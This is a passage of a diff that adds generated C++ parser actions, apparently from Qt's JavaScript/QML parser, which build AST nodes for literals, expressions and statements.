+ node->identifierToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 72: {
+ AST::NullExpression *node = makeAstNode<AST::NullExpression> (driver->nodePool());
+ node->nullToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 73: {
+ AST::TrueLiteral *node = makeAstNode<AST::TrueLiteral> (driver->nodePool());
+ node->trueToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 74: {
+ AST::FalseLiteral *node = makeAstNode<AST::FalseLiteral> (driver->nodePool());
+ node->falseToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 75: {
+ AST::NumericLiteral *node = makeAstNode<AST::NumericLiteral> (driver->nodePool(), sym(1).dval);
+ node->literalToken = loc(1);
+ sym(1).Node = node;
+} break;
+case 76:
+case 77: {
+ AST::StringLiteral *node = makeAstNode<AST::StringLiteral> (driver->nodePool(), sym(1).sval);
+ node->literalToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 78: {
+ bool rx = lexer->scanRegExp(Lexer::NoPrefix);
+ if (!rx) {
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, location(lexer), lexer->errorMessage()));
+ return false; // ### remove me
+ }
+
+ loc(1).length = lexer->tokenLength();
+
+ AST::RegExpLiteral *node = makeAstNode<AST::RegExpLiteral> (driver->nodePool(), lexer->pattern, lexer->flags);
+ node->literalToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 79: {
+ bool rx = lexer->scanRegExp(Lexer::EqualPrefix);
+ if (!rx) {
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, location(lexer), lexer->errorMessage()));
+ return false;
+ }
+
+ loc(1).length = lexer->tokenLength();
+
+ AST::RegExpLiteral *node = makeAstNode<AST::RegExpLiteral> (driver->nodePool(), lexer->pattern, lexer->flags);
+ node->literalToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 80: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), (AST::Elision *) 0);
+ node->lbracketToken = loc(1);
+ node->rbracketToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 81: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), sym(2).Elision->finish());
+ node->lbracketToken = loc(1);
+ node->rbracketToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 82: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), sym(2).ElementList->finish ());
+ node->lbracketToken = loc(1);
+ node->rbracketToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 83: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), sym(2).ElementList->finish (),
+ (AST::Elision *) 0);
+ node->lbracketToken = loc(1);
+ node->commaToken = loc(3);
+ node->rbracketToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 84: {
+ AST::ArrayLiteral *node = makeAstNode<AST::ArrayLiteral> (driver->nodePool(), sym(2).ElementList->finish (),
+ sym(4).Elision->finish());
+ node->lbracketToken = loc(1);
+ node->commaToken = loc(3);
+ node->rbracketToken = loc(5);
+ sym(1).Node = node;
+} break;
+
+case 85: {
+ AST::ObjectLiteral *node = 0;
+ if (sym(2).Node)
+ node = makeAstNode<AST::ObjectLiteral> (driver->nodePool(),
+ sym(2).PropertyNameAndValueList->finish ());
+ else
+ node = makeAstNode<AST::ObjectLiteral> (driver->nodePool());
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 86: {
+ AST::ObjectLiteral *node = makeAstNode<AST::ObjectLiteral> (driver->nodePool(),
+ sym(2).PropertyNameAndValueList->finish ());
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 87: {
+ AST::NestedExpression *node = makeAstNode<AST::NestedExpression>(driver->nodePool(), sym(2).Expression);
+ node->lparenToken = loc(1);
+ node->rparenToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 88: {
+ if (AST::ArrayMemberExpression *mem = AST::cast<AST::ArrayMemberExpression *>(sym(1).Expression)) {
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Warning, mem->lbracketToken,
+ QLatin1String("Ignored annotation")));
+
+ sym(1).Expression = mem->base;
+ }
+
+ if (AST::UiQualifiedId *qualifiedId = reparseAsQualifiedId(sym(1).Expression)) {
+ sym(1).UiQualifiedId = qualifiedId;
+ } else {
+ sym(1).UiQualifiedId = 0;
+
+ diagnostic_messages.append(DiagnosticMessage(DiagnosticMessage::Error, loc(1),
+ QLatin1String("Expected a qualified name id")));
+
+ return false; // ### recover
+ }
+} break;
+
+case 89: {
+ sym(1).Node = makeAstNode<AST::ElementList> (driver->nodePool(), (AST::Elision *) 0, sym(1).Expression);
+} break;
+
+case 90: {
+ sym(1).Node = makeAstNode<AST::ElementList> (driver->nodePool(), sym(1).Elision->finish(), sym(2).Expression);
+} break;
+
+case 91: {
+ AST::ElementList *node = makeAstNode<AST::ElementList> (driver->nodePool(), sym(1).ElementList,
+ (AST::Elision *) 0, sym(3).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 92: {
+ AST::ElementList *node = makeAstNode<AST::ElementList> (driver->nodePool(), sym(1).ElementList, sym(3).Elision->finish(),
+ sym(4).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 93: {
+ AST::Elision *node = makeAstNode<AST::Elision> (driver->nodePool());
+ node->commaToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 94: {
+ AST::Elision *node = makeAstNode<AST::Elision> (driver->nodePool(), sym(1).Elision);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 95: {
+ AST::PropertyNameAndValueList *node = makeAstNode<AST::PropertyNameAndValueList> (driver->nodePool(),
+ sym(1).PropertyName, sym(3).Expression);
+ node->colonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 96: {
+ AST::PropertyNameAndValueList *node = makeAstNode<AST::PropertyNameAndValueList> (driver->nodePool(),
+ sym(1).PropertyNameAndValueList, sym(3).PropertyName, sym(5).Expression);
+ node->commaToken = loc(2);
+ node->colonToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 97: {
+ AST::IdentifierPropertyName *node = makeAstNode<AST::IdentifierPropertyName> (driver->nodePool(), sym(1).sval);
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+case 98:
+case 99: {
+ AST::IdentifierPropertyName *node = makeAstNode<AST::IdentifierPropertyName> (driver->nodePool(), driver->intern(lexer->characterBuffer(), lexer->characterCount()));
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 100: {
+ AST::StringLiteralPropertyName *node = makeAstNode<AST::StringLiteralPropertyName> (driver->nodePool(), sym(1).sval);
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 101: {
+ AST::NumericLiteralPropertyName *node = makeAstNode<AST::NumericLiteralPropertyName> (driver->nodePool(), sym(1).dval);
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 102: {
+ AST::IdentifierPropertyName *node = makeAstNode<AST::IdentifierPropertyName> (driver->nodePool(), sym(1).sval);
+ node->propertyNameToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 103:
+
+case 104:
+
+case 105:
+
+case 106:
+
+case 107:
+
+case 108:
+
+case 109:
+
+case 110:
+
+case 111:
+
+case 112:
+
+case 113:
+
+case 114:
+
+case 115:
+
+case 116:
+
+case 117:
+
+case 118:
+
+case 119:
+
+case 120:
+
+case 121:
+
+case 122:
+
+case 123:
+
+case 124:
+
+case 125:
+
+case 126:
+
+case 127:
+
+case 128:
+
+case 129:
+
+case 130:
+
+case 131:
+
+case 132:
+
+case 133:
+{
+ sym(1).sval = driver->intern(lexer->characterBuffer(), lexer->characterCount());
+} break;
+
+case 138: {
+ AST::ArrayMemberExpression *node = makeAstNode<AST::ArrayMemberExpression> (driver->nodePool(), sym(1).Expression, sym(3).Expression);
+ node->lbracketToken = loc(2);
+ node->rbracketToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 139: {
+ AST::FieldMemberExpression *node = makeAstNode<AST::FieldMemberExpression> (driver->nodePool(), sym(1).Expression, sym(3).sval);
+ node->dotToken = loc(2);
+ node->identifierToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 140: {
+ AST::NewMemberExpression *node = makeAstNode<AST::NewMemberExpression> (driver->nodePool(), sym(2).Expression, sym(4).ArgumentList);
+ node->newToken = loc(1);
+ node->lparenToken = loc(3);
+ node->rparenToken = loc(5);
+ sym(1).Node = node;
+} break;
+
+case 142: {
+ AST::NewExpression *node = makeAstNode<AST::NewExpression> (driver->nodePool(), sym(2).Expression);
+ node->newToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 143: {
+ AST::CallExpression *node = makeAstNode<AST::CallExpression> (driver->nodePool(), sym(1).Expression, sym(3).ArgumentList);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 144: {
+ AST::CallExpression *node = makeAstNode<AST::CallExpression> (driver->nodePool(), sym(1).Expression, sym(3).ArgumentList);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 145: {
+ AST::ArrayMemberExpression *node = makeAstNode<AST::ArrayMemberExpression> (driver->nodePool(), sym(1).Expression, sym(3).Expression);
+ node->lbracketToken = loc(2);
+ node->rbracketToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 146: {
+ AST::FieldMemberExpression *node = makeAstNode<AST::FieldMemberExpression> (driver->nodePool(), sym(1).Expression, sym(3).sval);
+ node->dotToken = loc(2);
+ node->identifierToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 147: {
+ sym(1).Node = 0;
+} break;
+
+case 148: {
+ sym(1).Node = sym(1).ArgumentList->finish();
+} break;
+
+case 149: {
+ sym(1).Node = makeAstNode<AST::ArgumentList> (driver->nodePool(), sym(1).Expression);
+} break;
+
+case 150: {
+ AST::ArgumentList *node = makeAstNode<AST::ArgumentList> (driver->nodePool(), sym(1).ArgumentList, sym(3).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 154: {
+ AST::PostIncrementExpression *node = makeAstNode<AST::PostIncrementExpression> (driver->nodePool(), sym(1).Expression);
+ node->incrementToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 155: {
+ AST::PostDecrementExpression *node = makeAstNode<AST::PostDecrementExpression> (driver->nodePool(), sym(1).Expression);
+ node->decrementToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 157: {
+ AST::DeleteExpression *node = makeAstNode<AST::DeleteExpression> (driver->nodePool(), sym(2).Expression);
+ node->deleteToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 158: {
+ AST::VoidExpression *node = makeAstNode<AST::VoidExpression> (driver->nodePool(), sym(2).Expression);
+ node->voidToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 159: {
+ AST::TypeOfExpression *node = makeAstNode<AST::TypeOfExpression> (driver->nodePool(), sym(2).Expression);
+ node->typeofToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 160: {
+ AST::PreIncrementExpression *node = makeAstNode<AST::PreIncrementExpression> (driver->nodePool(), sym(2).Expression);
+ node->incrementToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 161: {
+ AST::PreDecrementExpression *node = makeAstNode<AST::PreDecrementExpression> (driver->nodePool(), sym(2).Expression);
+ node->decrementToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 162: {
+ AST::UnaryPlusExpression *node = makeAstNode<AST::UnaryPlusExpression> (driver->nodePool(), sym(2).Expression);
+ node->plusToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 163: {
+ AST::UnaryMinusExpression *node = makeAstNode<AST::UnaryMinusExpression> (driver->nodePool(), sym(2).Expression);
+ node->minusToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 164: {
+ AST::TildeExpression *node = makeAstNode<AST::TildeExpression> (driver->nodePool(), sym(2).Expression);
+ node->tildeToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 165: {
+ AST::NotExpression *node = makeAstNode<AST::NotExpression> (driver->nodePool(), sym(2).Expression);
+ node->notToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 167: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Mul, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 168: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Div, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 169: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Mod, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 171: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Add, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 172: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Sub, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 174: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::LShift, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 175: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::RShift, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 176: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::URShift, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 178: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Lt, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 179: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Gt, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 180: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Le, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 181: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Ge, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 182: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::InstanceOf, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 183: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::In, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 185: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Lt, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 186: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Gt, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 187: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Le, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 188: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Ge, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 189: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::InstanceOf, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 191: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Equal, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 192: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::NotEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 193: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::StrictEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 194: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::StrictNotEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 196: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Equal, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 197: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::NotEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 198: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::StrictEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 199: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::StrictNotEqual, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 201: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitAnd, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 203: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitAnd, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 205: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitXor, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 207: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitXor, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 209: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitOr, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 211: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::BitOr, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 213: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::And, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 215: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::And, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 217: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Or, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 219: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ QSOperator::Or, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 221: {
+ AST::ConditionalExpression *node = makeAstNode<AST::ConditionalExpression> (driver->nodePool(), sym(1).Expression,
+ sym(3).Expression, sym(5).Expression);
+ node->questionToken = loc(2);
+ node->colonToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 223: {
+ AST::ConditionalExpression *node = makeAstNode<AST::ConditionalExpression> (driver->nodePool(), sym(1).Expression,
+ sym(3).Expression, sym(5).Expression);
+ node->questionToken = loc(2);
+ node->colonToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 225: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ sym(2).ival, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 227: {
+ AST::BinaryExpression *node = makeAstNode<AST::BinaryExpression> (driver->nodePool(), sym(1).Expression,
+ sym(2).ival, sym(3).Expression);
+ node->operatorToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 228: {
+ sym(1).ival = QSOperator::Assign;
+} break;
+
+case 229: {
+ sym(1).ival = QSOperator::InplaceMul;
+} break;
+
+case 230: {
+ sym(1).ival = QSOperator::InplaceDiv;
+} break;
+
+case 231: {
+ sym(1).ival = QSOperator::InplaceMod;
+} break;
+
+case 232: {
+ sym(1).ival = QSOperator::InplaceAdd;
+} break;
+
+case 233: {
+ sym(1).ival = QSOperator::InplaceSub;
+} break;
+
+case 234: {
+ sym(1).ival = QSOperator::InplaceLeftShift;
+} break;
+
+case 235: {
+ sym(1).ival = QSOperator::InplaceRightShift;
+} break;
+
+case 236: {
+ sym(1).ival = QSOperator::InplaceURightShift;
+} break;
+
+case 237: {
+ sym(1).ival = QSOperator::InplaceAnd;
+} break;
+
+case 238: {
+ sym(1).ival = QSOperator::InplaceXor;
+} break;
+
+case 239: {
+ sym(1).ival = QSOperator::InplaceOr;
+} break;
+
+case 241: {
+ AST::Expression *node = makeAstNode<AST::Expression> (driver->nodePool(), sym(1).Expression, sym(3).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 242: {
+ sym(1).Node = 0;
+} break;
+
+case 245: {
+ AST::Expression *node = makeAstNode<AST::Expression> (driver->nodePool(), sym(1).Expression, sym(3).Expression);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 246: {
+ sym(1).Node = 0;
+} break;
+
+case 263: {
+ AST::Block *node = makeAstNode<AST::Block> (driver->nodePool(), sym(2).StatementList);
+ node->lbraceToken = loc(1);
+ node->rbraceToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 264: {
+ sym(1).Node = makeAstNode<AST::StatementList> (driver->nodePool(), sym(1).Statement);
+} break;
+
+case 265: {
+ sym(1).Node = makeAstNode<AST::StatementList> (driver->nodePool(), sym(1).StatementList, sym(2).Statement);
+} break;
+
+case 266: {
+ sym(1).Node = 0;
+} break;
+
+case 267: {
+ sym(1).Node = sym(1).StatementList->finish ();
+} break;
+
+case 269: {
+ AST::VariableStatement *node = makeAstNode<AST::VariableStatement> (driver->nodePool(),
+ sym(2).VariableDeclarationList->finish (/*readOnly=*/sym(1).ival == T_CONST));
+ node->declarationKindToken = loc(1);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 270: {
+ sym(1).ival = T_CONST;
+} break;
+
+case 271: {
+ sym(1).ival = T_VAR;
+} break;
+
+case 272: {
+ sym(1).Node = makeAstNode<AST::VariableDeclarationList> (driver->nodePool(), sym(1).VariableDeclaration);
+} break;
+
+case 273: {
+ AST::VariableDeclarationList *node = makeAstNode<AST::VariableDeclarationList> (driver->nodePool(),
+ sym(1).VariableDeclarationList, sym(3).VariableDeclaration);
+ node->commaToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 274: {
+ sym(1).Node = makeAstNode<AST::VariableDeclarationList> (driver->nodePool(), sym(1).VariableDeclaration);
+} break;
+
+case 275: {
+ sym(1).Node = makeAstNode<AST::VariableDeclarationList> (driver->nodePool(), sym(1).VariableDeclarationList, sym(3).VariableDeclaration);
+} break;
+
+case 276: {
+ AST::VariableDeclaration *node = makeAstNode<AST::VariableDeclaration> (driver->nodePool(), sym(1).sval, sym(2).Expression);
+ node->identifierToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 277: {
+ AST::VariableDeclaration *node = makeAstNode<AST::VariableDeclaration> (driver->nodePool(), sym(1).sval, sym(2).Expression);
+ node->identifierToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 278: {
+ // ### TODO: AST for initializer
+ sym(1) = sym(2);
+} break;
+
+case 279: {
+ sym(1).Node = 0;
+} break;
+
+case 281: {
+ // ### TODO: AST for initializer
+ sym(1) = sym(2);
+} break;
+
+case 282: {
+ sym(1).Node = 0;
+} break;
+
+case 284: {
+ AST::EmptyStatement *node = makeAstNode<AST::EmptyStatement> (driver->nodePool());
+ node->semicolonToken = loc(1);
+ sym(1).Node = node;
+} break;
+
+case 286: {
+ AST::ExpressionStatement *node = makeAstNode<AST::ExpressionStatement> (driver->nodePool(), sym(1).Expression);
+ node->semicolonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 287: {
+ AST::IfStatement *node = makeAstNode<AST::IfStatement> (driver->nodePool(), sym(3).Expression, sym(5).Statement, sym(7).Statement);
+ node->ifToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ node->elseToken = loc(5);
+ sym(1).Node = node;
+} break;
+
+case 288: {
+ AST::IfStatement *node = makeAstNode<AST::IfStatement> (driver->nodePool(), sym(3).Expression, sym(5).Statement);
+ node->ifToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 290: {
+ AST::DoWhileStatement *node = makeAstNode<AST::DoWhileStatement> (driver->nodePool(), sym(2).Statement, sym(5).Expression);
+ node->doToken = loc(1);
+ node->whileToken = loc(3);
+ node->lparenToken = loc(4);
+ node->rparenToken = loc(6);
+ node->semicolonToken = loc(7);
+ sym(1).Node = node;
+} break;
+
+case 291: {
+ AST::WhileStatement *node = makeAstNode<AST::WhileStatement> (driver->nodePool(), sym(3).Expression, sym(5).Statement);
+ node->whileToken = loc(1);
+ node->lparenToken = loc(2);
+ node->rparenToken = loc(4);
+ sym(1).Node = node;
+} break;
+
+case 292: {
+ AST::ForStatement *node = makeAstNode<AST::ForStatement> (driver->nodePool(), sym(3).Expression,
+ sym(5).Expression, sym(7).Expression, sym(9).Statement);
+ node->forToken = loc(1);
+ node->lparenToken = loc(2);
+ node->firstSemicolonToken = loc(4);
+ node->secondSemicolonToken = loc(6);
+ node->rparenToken = loc(8);
+ sym(1).Node = node;
+} break;
+
+case 293: {
+ AST::LocalForStatement *node = makeAstNode<AST::LocalForStatement> (driver->nodePool(),
+ sym(4).VariableDeclarationList->finish (/*readOnly=*/false), sym(6).Expression,
+ sym(8).Expression, sym(10).Statement);
+ node->forToken = loc(1);
+ node->lparenToken = loc(2);
+ node->varToken = loc(3);
+ node->firstSemicolonToken = loc(5);
+ node->secondSemicolonToken = loc(7);
+ node->rparenToken = loc(9);
+ sym(1).Node = node;
+} break;
+
+case 294: {
+ AST:: ForEachStatement *node = makeAstNode<AST::ForEachStatement> (driver->nodePool(), sym(3).Expression,
+ sym(5).Expression, sym(7).Statement);
+ node->forToken = loc(1);
+ node->lparenToken = loc(2);
+ node->inToken = loc(4);
+ node->rparenToken = loc(6);
+ sym(1).Node = node;
+} break;
+
+case 295: {
+ AST::LocalForEachStatement *node = makeAstNode<AST::LocalForEachStatement> (driver->nodePool(),
+ sym(4).VariableDeclaration, sym(6).Expression, sym(8).Statement);
+ node->forToken = loc(1);
+ node->lparenToken = loc(2);
+ node->varToken = loc(3);
+ node->inToken = loc(5);
+ node->rparenToken = loc(7);
+ sym(1).Node = node;
+} break;
+
+case 297: {
+ AST::ContinueStatement *node = makeAstNode<AST::ContinueStatement> (driver->nodePool());
+ node->continueToken = loc(1);
+ node->semicolonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 299: {
+ AST::ContinueStatement *node = makeAstNode<AST::ContinueStatement> (driver->nodePool(), sym(2).sval);
+ node->continueToken = loc(1);
+ node->identifierToken = loc(2);
+ node->semicolonToken = loc(3);
+ sym(1).Node = node;
+} break;
+
+case 301: {
+ AST::BreakStatement *node = makeAstNode<AST::BreakStatement> (driver->nodePool());
+ node->breakToken = loc(1);
+ node->semicolonToken = loc(2);
+ sym(1).Node = node;
+} break;
+
+case 303: {
